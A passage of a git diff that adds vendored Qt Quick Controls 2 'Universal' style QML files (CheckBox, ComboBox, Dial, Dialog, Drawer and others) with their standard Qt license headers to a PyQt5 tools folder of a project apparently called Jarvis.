rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 8 + verticalPadding: padding - 4 + spacing: 8 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + property bool useSystemFocusVisuals: true + + contentItem: IconLabel { + spacing: control.spacing + mirrored: control.mirrored + display: control.display + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + implicitWidth: 32 + implicitHeight: 32 + + visible: !control.flat || control.down || control.checked || control.highlighted + color: control.down ? control.Universal.baseMediumLowColor : + control.enabled && (control.highlighted || control.checked) ? control.Universal.accent : + control.Universal.baseLowColor + + Rectangle { + width: parent.width + height: parent.height + color: "transparent" + visible: control.hovered + border.width: 2 // ButtonBorderThemeThickness + border.color: control.Universal.baseMediumLowColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckBox.qml new file mode 100644 index 00000000..9494f4d2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckBox.qml @@ -0,0 +1,74 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.CheckBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + padding: 6 + spacing: 8 + + property bool useSystemFocusVisuals: true + + indicator: CheckIndicator { + x: control.text ? (control.mirrored ? control.width - width - control.rightPadding : control.leftPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: Text { + leftPadding: control.indicator && !control.mirrored ? control.indicator.width + control.spacing : 0 + rightPadding: control.indicator && control.mirrored ? control.indicator.width + control.spacing : 0 + + text: control.text + font: control.font + elide: Text.ElideRight + verticalAlignment: Text.AlignVCenter + + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckDelegate.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckDelegate.qml new file mode 100644 index 00000000..b544c42e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckDelegate.qml @@ -0,0 +1,97 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 +import QtQuick.Controls.Universal.impl 2.12 + +T.CheckDelegate { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + spacing: 12 + + padding: 12 + topPadding: padding - 1 + bottomPadding: padding + 1 + + icon.width: 20 + icon.height: 20 + icon.color: Color.transparent(Universal.foreground, enabled ? 1.0 : 0.2) + + indicator: CheckIndicator { + x: control.text ? (control.mirrored ? control.leftPadding : control.width - width - control.rightPadding) : control.leftPadding + (control.availableWidth - width) / 2 + y: control.topPadding + (control.availableHeight - height) / 2 + control: control + } + + contentItem: IconLabel { + leftPadding: !control.mirrored ? 0 : control.indicator.width + control.spacing + rightPadding: control.mirrored ? 0 : control.indicator.width + control.spacing + + spacing: control.spacing + mirrored: control.mirrored + display: control.display + alignment: control.display === IconLabel.IconOnly || control.display === IconLabel.TextUnderIcon ? Qt.AlignCenter : Qt.AlignLeft + + icon: control.icon + text: control.text + font: control.font + color: Color.transparent(control.Universal.foreground, enabled ? 1.0 : 0.2) + } + + background: Rectangle { + visible: control.down || control.highlighted || control.visualFocus || control.hovered + color: control.down ? control.Universal.listMediumColor : + control.hovered ? control.Universal.listLowColor : control.Universal.altMediumLowColor + Rectangle { + width: parent.width + height: parent.height + visible: control.visualFocus || control.highlighted + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckIndicator.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckIndicator.qml new file mode 100644 index 00000000..8f41617a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/CheckIndicator.qml @@ -0,0 +1,82 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.impl 2.12 +import QtQuick.Controls.Universal 2.12 + +Rectangle { + id: indicator + implicitWidth: 20 + implicitHeight: 20 + + color: !control.enabled ? "transparent" : + control.down && !partiallyChecked ? control.Universal.baseMediumColor : + control.checkState === Qt.Checked ? control.Universal.accent : "transparent" + border.color: !control.enabled ? control.Universal.baseLowColor : + control.down ? control.Universal.baseMediumColor : + control.checked ? control.Universal.accent : control.Universal.baseMediumHighColor + border.width: 2 // CheckBoxBorderThemeThickness + + property Item control + readonly property bool partiallyChecked: control.checkState === Qt.PartiallyChecked + + ColorImage { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + + visible: indicator.control.checkState === Qt.Checked + color: !indicator.control.enabled ? indicator.control.Universal.baseLowColor : indicator.control.Universal.chromeWhiteColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Universal/images/checkmark.png" + } + + Rectangle { + x: (parent.width - width) / 2 + y: (parent.height - height) / 2 + width: indicator.partiallyChecked ? parent.width / 2 : parent.width + height: indicator.partiallyChecked ? parent.height / 2 : parent.height + + visible: !indicator.control.pressed && indicator.control.hovered || indicator.partiallyChecked + color: !indicator.partiallyChecked ? "transparent" : + !indicator.control.enabled ? indicator.control.Universal.baseLowColor : + indicator.control.down ? indicator.control.Universal.baseMediumColor : + indicator.control.hovered ? indicator.control.Universal.baseHighColor : indicator.control.Universal.baseMediumHighColor + border.width: indicator.partiallyChecked ? 0 : 2 // CheckBoxBorderThemeThickness + border.color: indicator.control.Universal.baseMediumLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ComboBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ComboBox.qml new file mode 100644 index 00000000..9b88ccf9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/ComboBox.qml @@ -0,0 +1,159 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.15 +import QtQuick.Window 2.15 +import QtQuick.Controls 2.15 +import QtQuick.Controls.impl 2.15 +import QtQuick.Templates 2.15 as T +import QtQuick.Controls.Universal 2.15 + +T.ComboBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding, + implicitIndicatorHeight + topPadding + bottomPadding) + + leftPadding: padding + (!control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + rightPadding: padding + (control.mirrored || !indicator || !indicator.visible ? 0 : indicator.width + spacing) + + Universal.theme: editable && activeFocus ? Universal.Light : undefined + + delegate: ItemDelegate { + width: ListView.view.width + text: control.textRole ? (Array.isArray(control.model) ? modelData[control.textRole] : model[control.textRole]) : modelData + font.weight: control.currentIndex === index ? Font.DemiBold : Font.Normal + highlighted: control.highlightedIndex === index + hoverEnabled: control.hoverEnabled + } + + indicator: ColorImage { + x: control.mirrored ? control.padding : control.width - width - control.padding + y: control.topPadding + (control.availableHeight - height) / 2 + color: !control.enabled ? control.Universal.baseLowColor : control.Universal.baseMediumHighColor + source: "qrc:/qt-project.org/imports/QtQuick/Controls.2/Universal/images/downarrow.png" + + Rectangle { + z: -1 + width: parent.width + height: parent.height + color: control.activeFocus ? control.Universal.accent : + control.pressed ? control.Universal.baseMediumLowColor : + control.hovered ? control.Universal.baseLowColor : "transparent" + visible: control.editable && !contentItem.hovered && (control.pressed || control.hovered) + opacity: control.activeFocus && !control.pressed ? 0.4 : 1.0 + } + } + + contentItem: T.TextField { + leftPadding: control.mirrored ? 1 : 12 + rightPadding: control.mirrored ? 10 : 1 + topPadding: 5 - control.topPadding + bottomPadding: 7 - control.bottomPadding + + text: control.editable ? control.editText : control.displayText + + enabled: control.editable + autoScroll: control.editable + readOnly: control.down + inputMethodHints: control.inputMethodHints + validator: control.validator + selectByMouse: control.selectTextByMouse + + font: control.font + color: !control.enabled ? control.Universal.chromeDisabledLowColor : + control.editable && control.activeFocus ? control.Universal.chromeBlackHighColor : control.Universal.foreground + selectionColor: control.Universal.accent + selectedTextColor: control.Universal.chromeWhiteColor + verticalAlignment: Text.AlignVCenter + } + + background: Rectangle { + implicitWidth: 120 + implicitHeight: 32 + + border.width: control.flat ? 0 : 2 // ComboBoxBorderThemeThickness + border.color: !control.enabled ? control.Universal.baseLowColor : + control.editable && control.activeFocus ? control.Universal.accent : + control.down ? control.Universal.baseMediumLowColor : + control.hovered ? control.Universal.baseMediumColor : control.Universal.baseMediumLowColor + color: !control.enabled ? control.Universal.baseLowColor : + control.down ? control.Universal.listMediumColor : + control.flat && control.hovered ? control.Universal.listLowColor : + control.editable && control.activeFocus ? control.Universal.background : control.Universal.altMediumLowColor + visible: !control.flat || control.pressed || control.hovered || control.visualFocus + + Rectangle { + x: 2 + y: 2 + width: parent.width - 4 + height: parent.height - 4 + + visible: control.visualFocus && !control.editable + color: control.Universal.accent + opacity: control.Universal.theme === Universal.Light ? 0.4 : 0.6 + } + } + + popup: T.Popup { + width: control.width + height: Math.min(contentItem.implicitHeight, control.Window.height - topMargin - bottomMargin) + topMargin: 8 + bottomMargin: 8 + + Universal.theme: control.Universal.theme + Universal.accent: control.Universal.accent + + contentItem: ListView { + clip: true + implicitHeight: contentHeight + model: control.delegateModel + currentIndex: control.highlightedIndex + highlightMoveDuration: 0 + + T.ScrollIndicator.vertical: ScrollIndicator { } + } + + background: Rectangle { + color: control.Universal.chromeMediumLowColor + border.color: control.Universal.chromeHighColor + border.width: 1 // FlyoutBorderThemeThickness + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/DelayButton.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/DelayButton.qml new file mode 100644 index 00000000..2a3a3b3a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/DelayButton.qml @@ -0,0 +1,94 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.DelayButton { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + + padding: 8 + verticalPadding: padding - 4 + + property bool useSystemFocusVisuals: true + + transition: Transition { + NumberAnimation { + duration: control.delay * (control.pressed ? 1.0 - control.progress : 0.3 * control.progress) + } + } + + contentItem: Text { + text: control.text + font: control.font + elide: Text.ElideRight + horizontalAlignment: Text.AlignHCenter + verticalAlignment: Text.AlignVCenter + + opacity: enabled ? 1.0 : 0.2 + color: control.Universal.foreground + } + + background: Rectangle { + implicitWidth: 32 + implicitHeight: 32 + + color: control.down ? control.Universal.baseMediumLowColor : + control.enabled && control.checked ? control.Universal.accent : control.Universal.baseLowColor + + Rectangle { + visible: !control.checked + width: parent.width * control.progress + height: parent.height + color: control.Universal.accent + } + + Rectangle { + width: parent.width + height: parent.height + color: "transparent" + visible: control.hovered + border.width: 2 // ButtonBorderThemeThickness + border.color: control.Universal.baseMediumLowColor + } + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Dial.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Dial.qml new file mode 100644 index 00000000..f45d912e --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Dial.qml @@ -0,0 +1,86 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Dial { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + implicitContentWidth + leftPadding + rightPadding) || 100 // ### remove 100 in Qt 6 + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) || 100 // ### remove 100 in Qt 6 + + background: Rectangle { + implicitWidth: 100 + implicitHeight: 100 + + x: control.width / 2 - width / 2 + y: control.height / 2 - height / 2 + width: Math.max(64, Math.min(control.width, control.height)) + height: width + radius: width / 2 + color: "transparent" + border.color: !control.enabled ? control.Universal.baseLowColor : control.Universal.baseMediumColor + border.width: 2 + } + + handle: Rectangle { + implicitWidth: 14 + implicitHeight: 14 + + x: control.background.x + control.background.width / 2 - control.handle.width / 2 + y: control.background.y + control.background.height / 2 - control.handle.height / 2 + + radius: width / 2 + color: !control.enabled ? control.Universal.baseLowColor : + control.pressed ? control.Universal.baseMediumColor : + control.hovered ? control.Universal.baseHighColor : control.Universal.baseMediumHighColor + + transform: [ + Translate { + y: -control.background.height * 0.4 + control.handle.height / 2 + }, + Rotation { + angle: control.angle + origin.x: control.handle.width / 2 + origin.y: control.handle.height / 2 + } + ] + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Dialog.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Dialog.qml new file mode 100644 index 00000000..6151d090 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Dialog.qml @@ -0,0 +1,91 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.Universal 2.12 + +T.Dialog { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding, + implicitHeaderWidth, + implicitFooterWidth) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding + + (implicitHeaderHeight > 0 ? implicitHeaderHeight + spacing : 0) + + (implicitFooterHeight > 0 ? implicitFooterHeight + spacing : 0)) + + padding: 24 + verticalPadding: 18 + + background: Rectangle { + color: control.Universal.chromeMediumLowColor + border.color: control.Universal.chromeHighColor + border.width: 1 // FlyoutBorderThemeThickness + } + + header: Label { + text: control.title + visible: control.title + elide: Label.ElideRight + topPadding: 18 + leftPadding: 24 + rightPadding: 24 + // TODO: QPlatformTheme::TitleBarFont + font.pixelSize: 20 + background: Rectangle { + x: 1; y: 1 // // FlyoutBorderThemeThickness + color: control.Universal.chromeMediumLowColor + width: parent.width - 2 + height: parent.height - 1 + } + } + + footer: DialogButtonBox { + visible: count > 0 + } + + T.Overlay.modal: Rectangle { + color: control.Universal.baseLowColor + } + + T.Overlay.modeless: Rectangle { + color: control.Universal.baseLowColor + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/DialogButtonBox.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/DialogButtonBox.qml new file mode 100644 index 00000000..0458c39d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/DialogButtonBox.qml @@ -0,0 +1,76 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls 2.12 +import QtQuick.Controls.Universal 2.12 + +T.DialogButtonBox { + id: control + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + (control.count === 1 ? implicitContentWidth * 2 : implicitContentWidth) + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + implicitContentHeight + topPadding + bottomPadding) + contentWidth: contentItem.contentWidth + + spacing: 4 + padding: 24 + topPadding: position === T.DialogButtonBox.Footer ? 6 : 24 + bottomPadding: position === T.DialogButtonBox.Header ? 6 : 24 + alignment: count === 1 ? Qt.AlignRight : undefined + + delegate: Button { + width: control.count === 1 ? control.availableWidth / 2 : undefined + } + + contentItem: ListView { + model: control.contentModel + spacing: control.spacing + orientation: ListView.Horizontal + boundsBehavior: Flickable.StopAtBounds + snapMode: ListView.SnapToItem + } + + background: Rectangle { + implicitHeight: 32 + color: control.Universal.chromeMediumLowColor + x: 1; y: 1 + width: parent.width - 2 + height: parent.height - 2 + } +} diff --git a/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Drawer.qml b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Drawer.qml new file mode 100644 index 00000000..7ec1d7f8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/Qt5/qml/QtQuick/Controls.2/Universal/Drawer.qml @@ -0,0 +1,78 @@ +/**************************************************************************** +** +** Copyright (C) 2017 The Qt Company Ltd. +** Contact: http://www.qt.io/licensing/ +** +** This file is part of the Qt Quick Controls 2 module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL3$ +** Commercial License Usage +** Licensees holding valid commercial Qt licenses may use this file in +** accordance with the commercial license agreement provided with the +** Software or, alternatively, in accordance with the terms contained in +** a written agreement between you and The Qt Company. For licensing terms +** and conditions see http://www.qt.io/terms-conditions. For further +** information use the contact form at http://www.qt.io/contact-us. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 3 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPLv3 included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 3 requirements +** will be met: https://www.gnu.org/licenses/lgpl.html. +** +** GNU General Public License Usage +** Alternatively, this file may be used under the terms of the GNU +** General Public License version 2.0 or later as published by the Free +** Software Foundation and appearing in the file LICENSE.GPL included in +** the packaging of this file. Please review the following information to +** ensure the GNU General Public License version 2.0 requirements will be +** met: http://www.gnu.org/licenses/gpl-2.0.html. +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +import QtQuick 2.12 +import QtQuick.Templates 2.12 as T +import QtQuick.Controls.Universal 2.12 + +T.Drawer { + id: control + + parent: T.Overlay.overlay + + implicitWidth: Math.max(implicitBackgroundWidth + leftInset + rightInset, + contentWidth + leftPadding + rightPadding) + implicitHeight: Math.max(implicitBackgroundHeight + topInset + bottomInset, + contentHeight + topPadding + bottomPadding) + + topPadding: control.edge === Qt.BottomEdge + leftPadding: control.edge === Qt.RightEdge + rightPadding: control.edge === Qt.LeftEdge + bottomPadding: control.edge === Qt.TopEdge + + enter: Transition { SmoothedAnimation { velocity: 5 } } + exit: Transition { SmoothedAnimation { velocity: 5 } } + + background: Rectangle { + color: control.Universal.chromeMediumLowColor + Rectangle { + readonly property bool horizontal: control.edge === Qt.LeftEdge || control.edge === Qt.RightEdge + width: horizontal ? 1 : parent.width + height: horizontal ? parent.height : 1 + color: control.Universal.chromeHighColor + x: control.edge === Qt.LeftEdge ? parent.width - 1 : 0 + y: control.edge === Qt.TopEdge ? parent.height - 1 : 0 + } + } + + T.Overlay.modal: Rectangle { + color: control.Universal.baseLowColor + } + + T.Overlay.modeless: Rectangle { + color: control.Universal.baseLowColor + } +} diff --git 